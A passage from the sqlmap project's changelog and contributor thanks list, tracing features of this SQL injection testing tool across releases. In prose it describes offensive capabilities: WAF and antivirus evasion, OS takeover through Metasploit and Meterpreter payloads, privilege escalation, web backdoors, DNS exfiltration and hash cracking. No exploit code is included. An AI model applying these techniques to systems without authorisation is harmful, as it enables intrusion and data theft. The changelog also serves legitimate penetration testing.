changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1) # Version 1.8 (2024-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1) # Version 1.7 (2023-01-02) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) # Version 1.6 (2022-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/7?closed=1) # Version 1.5 (2021-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1) # Version 1.4 (2020-01-01) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1) # Version 1.3 (2019-01-05) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1) # Version 1.2 (2018-01-08) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1) # Version 1.1 (2017-04-07) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1) # Version 1.0 (2016-02-27) * Implemented support for automatic decoding of page content through detected charset. * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). * Major improvements to program stabilization based on user reports. * Added new tampering scripts avoiding popular WAF/IPS mechanisms. * Fixed major bug with DNS leaking in Tor mode. * Added wordlist compilation made of the most popular cracking dictionaries. * Implemented multi-processor hash cracking routine(s). * Implemented advanced detection techniques for inband and time-based injections by usage of standard deviation method. * Old resume files are now deprecated and replaced by faster SQLite based session mechanism. * Substantial code optimization and smaller memory footprint. * Added option `-m` for scanning multiple targets enlisted in a given textual file. * Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form. * Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests. * Added option `--host` for manually setting HTTP Host header value. * Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request itself. * Added option `--skip` for skipping tests for given parameter(s). * Added switch `--titles` for comparing pages based only on their titles. * Added option `--charset` for forcing character encoding used for data retrieval. * Added switch `--check-tor` for checking if Tor is used properly. * Added option `--crawl` for multithreaded crawling of a given website starting from the target url. * Added option `--csv-del` for manually setting delimiting character used in CSV output. * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval. * Added switch `--smart` for conducting through tests only in case of positive heuristic(s). * Added switch `--check-waf` for checking of existence of WAF/IPS protection. * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables. * Added switch `--count` to count the number of entries for a specific table or all database(s) tables. * Major improvements to switches `--tables` and `--columns`. * Takeover switch `--os-pwn` improved: stealthier, faster and AV-proof. * Added switch `--mobile` to imitate a mobile device through HTTP User-Agent header. * Added switch `-a` to enumerate all DBMS data. * Added option `--alert` to run host OS command(s) when SQL injection is found. * Added option `--answers` to set user answers to asked questions during sqlmap run. * Added option `--auth-file` to set HTTP authentication PEM cert/private key file. * Added option `--charset` to force character encoding used during data retrieval. * Added switch `--check-tor` to force checking of proper usage of Tor. * Added option `--code` to set HTTP code to match when query is evaluated to True. * Added option `--cookie-del` to set character to be used while splitting cookie values. * Added option `--crawl` to set the crawling depth for the website starting from the target URL. * Added option `--crawl-exclude` for setting regular expression for excluding pages from crawling (e.g. `"logout"`). * Added option `--csrf-token` to set the parameter name that is holding the anti-CSRF token. * Added option `--csrf-url` for setting the URL address for extracting the anti-CSRF token. * Added option `--csv-del` for setting the delimiting character that will be used in CSV output (default `,`). * Added option `--dbms-cred` to set the DBMS authentication credentials (user:password). * Added switch `--dependencies` for turning on the checking of missing (non-core) sqlmap dependencies. * Added switch `--disable-coloring` to disable console output coloring. * Added option `--dns-domain` to set the domain name for usage in DNS exfiltration attack(s). * Added option `--dump-format` to set the format of dumped data (`CSV` (default), `HTML` or `SQLITE`). * Added option `--eval` for setting the Python code that will be evaluated before the request. * Added switch `--force-ssl` to force usage of SSL/HTTPS. * Added switch `--hex` to force usage of DBMS hex function(s) for data retrieval. * Added option `-H` to set extra HTTP header (e.g. `"X-Forwarded-For: 127.0.0.1"`). * Added switch `-hh` for showing advanced help message. * Added option `--host` to set the HTTP Host header value. * Added switch `--hostname` to turn on retrieval of DBMS server hostname. * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method. * Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection. * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized). * Added switch `--invalid-bignum` for usage of big numbers while invalidating values. * Added switch `--invalid-logical` for usage of logical operations while invalidating values. * Added switch `--invalid-string` for usage of random strings while invalidating values. * Added option `--load-cookies` to set the file containing cookies in Netscape/wget format. * Added option `-m` to set the textual file holding multiple targets for scanning purposes. * Added option `--method` to force usage of provided HTTP method (e.g. `PUT`). * Added switch `--no-cast` for turning off payload casting mechanism. * Added switch `--no-escape` for turning off string escaping mechanism. * Added option `--not-string` for setting string to be matched when query is evaluated to False. * Added switch `--offline` to force work in offline mode (i.e. only use session data). * Added option `--output-dir` to set custom output directory path. * Added option `--param-del` to set character used for splitting parameter values. * Added option `--pivot-column` to set column name that will be used while dumping tables by usage of pivot(ing). * Added option `--proxy-file` to set file holding proxy list. * Added switch `--purge-output` to turn on safe removal of all content(s) from output directory. * Added option `--randomize` to set parameter name(s) that will be randomly changed during sqlmap run. * Added option `--safe-post` to set POST data for sending to safe URL. * Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL. * Added option `--skip` to skip testing of given parameter(s). * Added switch `--skip-static` to skip testing parameters that not appear to be dynamic. * Added switch `--skip-urlencode` to skip URL encoding of payload data. * Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection. * Added switch `--smart` to conduct thorough tests only if positive heuristic(s). * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. * Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`). * Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`). * Added switch `--titles` to turn on comparison of pages based only on their titles. * Added option `--tor-port` to explicitly set Tor proxy port. * Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`). * Added option `--union-from` to set table to be used in `FROM` part of UNION query SQL injection. * Added option `--where` to set `WHERE` condition to be used during the table dumping. * Added option `-X` to exclude DBMS database table column(s) from enumeration. * Added option `-x` to set URL of sitemap(.xml) for target(s) parsing. * Added option `-z` for usage of short mnemonics (e.g. `"flu,bat,ban,tec=EU"`). # Version 0.9 (2011-04-10) * Rewritten SQL injection detection engine. * Support to directly connect to the database without passing via a SQL injection, option `-d`. * Added full support for both time-based blind SQL injection and error-based SQL injection techniques. * Implemented support for SQLite 2 and 3. * Implemented support for Firebird. * Implemented support for Microsoft Access, Sybase and SAP MaxDB. * Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`. * Added support to tamper injection data with option `--tamper`. * Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack. * Added support to enumerate roles on Oracle, `--roles` switch. * Added support for SOAP based web services requests. * Added support to fetch unicode data. * Added support to use persistent HTTP(s) connection for speed improvement, switch `--keep-alive`. * Implemented several optimization switches to speed up the exploitation of SQL injections. * Support to test and inject against HTTP Referer header. * Implemented HTTP(s) proxy authentication support, option `--proxy-cred`. * Implemented feature to speedup the enumeration of table names. * Support for customizable HTTP(s) redirections. * Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, switch `--replicate`. * Support to parse and test forms on target url, switch `--forms`. * Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL. * Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL injection. * Added safe URL feature, `--safe-url` and `--safe-freq`. * Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their textual content. * Implemented few other features and switches. * Over 100 bugs fixed. * Major code refactoring. * User's manual updated. # Version 0.8 (2010-03-14) * Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials. * Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only columns like the provided one(s) within the specified table. * Support for takeover features on PostgreSQL 8.4. * Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user running the back-end DBMS instance to SYSTEM on Windows. * Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root. * Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not support stacked queries. * Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap new `sys_fileread()` user-defined function. * Updated active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5. * Updated active fingerprint for PostgreSQL 8.4. * Support for NTLM authentication via python-ntlm third party library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`. * Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses. * Support for Certificate authentication, `--auth-cert` option added. * Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`. * Added option `-r` to load a single HTTP request from a text file. * Added switch `--ignore-proxy` to ignore the system default HTTP proxy. * Added support to ignore Set-Cookie in HTTP responses, `--drop-set-cookie`. * Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`. * Major bug fix and enhancements to the multi-threading (`--threads`) functionality. * Fixed URL encoding/decoding of GET/POST parameters and Cookie header. * Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the latest development version from subversion repository. * Major bugs fixed. * Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack. * Major code cleanup. * Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware. * Updated user's manual. * Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html. # Version 0.8 release candidate (2009-09-21) * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring. # Version 0.7 (2009-07-25) * Adapted Metasploit wrapping functions to work with latest 3.3 development version too. * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too. * Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too. * Minor improvement so that sqlmap tests also all parameters with no value (eg. par=). * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+. * Major bug fix to sql-query/sql-shell features. * Major bug fix in `--read-file` option. * Major silent bug fix to multi-threading functionality. * Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided. * Fixed MySQL 'comment injection' version fingerprint. * Fixed basic Microsoft SQL Server 2000 fingerprint. * Many minor bug fixes and code refactoring. # Version 0.7 release candidate (2009-04-22) * Added support to execute arbitrary commands on the database server underlying operating system either returning the standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft SQL Server; * Added support for out-of-band connection between the attacker box and the database server underlying operating system via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux; * Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support; * Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to the attacker box by using the Metasploit smb_relay exploit; * Added support to read and write (upload) both text and binary files on the database server underlying file system for MySQL, PostgreSQL and Microsoft SQL Server; * Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's incognito extension or Churrasco stand-alone executable; * Speed up the inference algorithm by providing the minimum required charset for the query output; * Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page content very little; * Many minor bug fixes, minor enhancements and layout adjustments. # Version 0.6.4 (2009-02-03) * Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object; * Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology; * Major speed increase in DBMS basic fingerprint; * Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator; * Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; * Added internal support to forge CASE statements, used only by `--is-dba` query at the moment; * Minor layout adjustment to the `--update` output; * Increased default timeout to 30 seconds; * Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle; * Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable; * Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server; * Minor bug fix to make the `--postfix` work even if `--prefix` is not provided; * Updated documentation. # Version 0.6.3 (2008-12-18) * Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ; * Major enhancement to support Partial UNION query SQL injection technique too; * Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality; * Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`; * Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers; * Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided; * Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher; * Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`; * Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user; * Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle; * Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content; * Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set; * Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords; * Minor improvements to sqlmap Debian package files; * Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations; * Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url; * Major bug fix to correctly enumerate columns on Microsoft SQL Server; * Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it also work if in the FROM there is no database name specified; * Minor bug fix to correctly dump table entries when the column is provided; * Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP requests; * Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread; * Increased default output level from 0 to 1; * Updated documentation. # Version 0.6.2 (2008-11-02) * Major bug fix to correctly dump tables entries when `--stop` is not specified; * Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0; * Major bug fix when the request is POST to also send the GET parameters if any have been provided; * Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`; * Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file; * Minor bug fix in MySQL comment injection fingerprint technique; * Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database; * Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided; * Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; * More user-friendly warning messages. # Version 0.6.1 (2008-08-20) * Major bug fix to blind SQL injection bisection algorithm to handle an exception; * Added a Metasploit Framework 3 auxiliary module to run sqlmap; * Implemented possibility to test for and inject also on LIKE statements; * Implemented `--start` and `--stop` options to set the first and the last table entry to dump; * Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool; * Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes; * Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore; * Minor bug fix to correctly handle parameters' value with `%` character. # Version 0.6 (2008-09-01) * Complete code refactor and many bugs fixed; * Added multithreading support to set the maximum number of concurrent HTTP requests; * Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; * Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator; * Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file; * Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option; * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages; * Created sqlmap .exe (Windows) portable executable; * Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times; * Improved automatic check for parenthesis when testing and forging SQL query vector; * Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to perform the injection on in case that more than one is injectable; * Implemented support for HTTPS requests over HTTP(S) proxy; * Added a check to handle NULL or not available queries output; * More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query and in AND condition checks; * Improved XML files structure; * Implemented the possibility to change the HTTP Referer header; * Added support to resume from session file also when running with inband SQL injection attack; * Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root; * Added a check to assure that the provided string to match (`--string`) is within the page content; * Fixed various queries in XML file; * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it; * Fixed password fetching function, mainly for Microsoft SQL Server and reviewed the password hashes parsing function; * Major bug fixed to avoid tracebacks when the testable parameter(s) is dynamic, but not injectable; * Enhanced logging system: added three more levels of verbosity to show also HTTP sent and received traffic; * Enhancement to handle Set-Cookie from target url and automatically re-establish the Session when it expires; * Added support to inject also on Set-Cookie parameters; * Implemented TAB completion and command history on both `--sql-shell` and `--os-shell`; * Renamed some command line options; * Added a conversion library; * Added code schema and reminders for future developments; * Added Copyright comment and $Id$; * Updated the command line layout and help messages; * Updated some docstrings; * Updated documentation files. # Version 0.5 (2007-11-04) * Added support for Oracle database management system * Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins; * Added support to extract database users password hash on Microsoft SQL Server; * Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting; * Added support for SQL injection on HTTP Cookie and User-Agent headers; * Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind(); * Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack; * Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables; * Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`); * Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default; * Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml; * Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped; * Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py; * Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`); * Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces; * More minor layout enhancements in some libraries; * Renamed DMBS plugins; * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Updated all documentation files. # Version 0.4 (2007-06-15) * Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS; * Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS; * Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`); * Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`); * Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; * Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; * Improved logging functionality: passed from banal 'print' to Python native logging library; * Added support for more than one parameter in `-p` command line option; * Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`); * Added the command line option `--remote-dbms` to manually specify the remote DBMS; * Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements; * Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`); * Added support to specify the database table column to enumerate (`-C COL`); * Added inband SQL injection (UNION query) support (`--union-use`); * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Reviewed the directory tree structure; * Split lib/common.py: inband injection functionalities now are moved to lib/union.py; * Updated documentation files. # Version 0.3 (2007-01-20) * Added module for MS SQL Server; * Strongly improved MySQL dbms active fingerprint and added MySQL comment injection check; * Added PostgreSQL dbms active fingerprint; * Added support for string match (`--string`); * Added support for UNION check (`--union-check`); * Removed duplicated code, delegated most of features to the engine in common.py and option.py; * Added support for `--data` command line argument to pass the string for POST requests; * Added encodeParams() method to encode url parameters before making http request; * Many bug fixes; * Rewritten documentation files; * Complete code restyling. # Version 0.2 (2006-12-13) * complete refactor of entire program; * added TODO and THANKS files; * added some papers references in README file; * moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of User-Agent header; * strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape() functions; * replaced old inference algorithm with a new bisection algorithm. * reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter; * improved Common class, adding support for http proxy and http post method in hash_page; * added OptionCheck class in option.py which performs all needed checks on command line parameters and values; * added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection on dynamic url parameters; * improved output methods in dump.py; * layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on catching of exceptions. ================================================ FILE: doc/THANKS.md ================================================ # Individuals Andres Tarasco Acuna, * for suggesting a feature Santiago Accurso, * for reporting a bug Syed Afzal, * for contributing a WAF script varnish.py Zaki Akhmad, * for suggesting a couple of features Olu Akindeinde, * for reporting a couple of bugs David Alvarez, * for reporting a bug Sergio Alves, * for reporting a bug Thomas Anderson, * for reporting a bug Chip Andrews, * for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site Smith Andy, * for suggesting a feature Otavio Augusto, * for reporting a minor bug Simon Baker, * for reporting some bugs Ryan Barnett, * for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html Emiliano Bazaes, * for reporting a minor bug Daniele Bellucci, * for starting sqlmap project and developing it between July and August 2006 Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH * for contributing the DB2 support initial patch: fingerprint and enumeration Anthony Boynes, * for reporting several bugs Marcelo Toscani Brandao * for reporting a bug Velky Brat, * for suggesting a minor enhancement to the bisection algorithm James Briggs, * for suggesting a minor enhancement Gianluca Brindisi, * for reporting a couple of bugs Jack Butler, * for contributing the sqlmap site favicon Ulisses Castro, * for reporting a bug Roberto Castrogiovanni, * for reporting a minor bug Cesar Cerrudo, * for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf Karl Chen, * for contributing the initial multi-threading patch for the inference algorithm Y P Chien, * for reporting a minor bug Pierre Chifflier, and Mark Hymers, * for uploading and accepting the sqlmap Debian package to the official Debian project repository Hysia Chow * for contributing a couple of WAF scripts Chris Clements, * for reporting a couple of bugs John Cobb, * for reporting a minor bug Andreas Constantinides, * for reporting a minor bug Andre Costa, * for reporting a minor bug * for suggesting a minor enhancement Ulises U. Cune, * for reporting a bug Alessandro Curio, * for reporting a minor bug Alessio Dalla Piazza, * for reporting a couple of bugs Alexis Danizan, * for contributing support for ClickHouse Sherif El-Deeb, * for reporting a minor bug Thomas Etrillard, * for contributing the IBM DB2 error-based payloads (RAISE_ERROR) Stefano Di Paola, * for suggesting good features Mosk Dmitri, * for reporting a minor bug Meng Dong, * for contributing a code for Waffit integration Carey Evans, * for his fcrypt module that allows crypt(3) support on Windows platforms Shawn Evans, * for suggesting an idea for one tamper script, greatest.py Adam Faheem, * for reporting a few bugs James Fisher, * for contributing two very good feature requests * for his great tool too brute force directories and files names on web/application servers, DirBuster, http://tinyurl.com/dirbuster Jim Forster, * for reporting a bug Rong-En Fan, * for committing the sqlmap 0.5 port to the official FreeBSD project repository Giorgio Fedon, * for suggesting a speed improvement for bisection algorithm * for reporting a bug when running against Microsoft SQL Server 2005 Kasper Fons, * for reporting several bugs Alan Franzoni, * for helping out with Python subprocess library Harold Fry, * for suggesting a minor enhancement Daniel G. Gamonal, * for reporting a minor bug Marcos Mateos Garcia, * for reporting a minor bug Andrew Gecse, * for reporting a minor issue Ivan Giacomelli, * for reporting a bug * for suggesting a minor enhancement * for reviewing the documentation Dimitris Giannitsaros, * for contributing a REST-JSON API client Nico Golde, * for reporting a couple of bugs Oliver Gruskovnjak, * for reporting a bug * for contributing a minor patch Davide Guerri, * for suggesting an enhancement Dan Guido, * for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/ David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features Tate Hansen, * for donating to sqlmap development Mario Heiderich, Christian Matthies, Lars H. Strojny, * for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, https://github.com/PHPIDS/PHPIDS Kristian Erik Hermansen, * for reporting a bug * for donating to sqlmap development Alexander Hagenah, * for reporting a minor bug Dennis Hecken, * for reporting a minor bug Choi Ho, * for reporting a minor bug Jorge Hoya, * for suggesting a minor enhancement Will Holcomb, * for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code Daniel Huckmann, * for reporting a couple of bugs Daliev Ilya, * for reporting a bug Mehmet İnce, * for contributing a tamper script xforwardedfor.py Jovon Itwaru, * for reporting a minor bug Prashant Jadhav, * for reporting a bug Dirk Jagdmann, * for reporting a typo in the documentation Luke Jahnke, * for reporting a bug when running against MySQL < 5.0 Andrew Kitis * for contributing a tamper script lowercase.py David Klein, * for reporting a minor code improvement Sven Klemm, * for reporting two minor bugs with PostgreSQL Anant Kochhar, * for providing with feedback on the user's manual Dmitriy Kononov, * for reporting a minor bug Alexander Kornbrust, * for reporting a couple of bugs Krzysztof Kotowicz, * for reporting a minor bug Nicolas Krassas, * for reporting a couple of bugs Oliver Kuckertz, * for contributing a minor patch Alex Landa, * for contributing a patch adding beta support for XML output Guido Landi, * for reporting a couple of bugs * for the great technical discussions * for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development * for presenting with Bernardo at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 Lee Lawson, * for reporting a minor bug John J. Lee, and others * for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified Nico Leidecker, * for providing with feedback on a few features * for reporting a couple of bugs * for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip Gabriel Lima, * for reporting a couple of bugs Svyatoslav Lisin, * for suggesting a minor feature Miguel Lopes, * for reporting a minor bug Truong Duc Luong, * for reporting a minor bug Pavol Luptak, * for reporting a bug when injecting on a POST data parameter Till Maas, * for suggesting a minor feature Michael Majchrowicz, * for extensively beta-testing sqlmap on various MySQL DBMS * for providing really 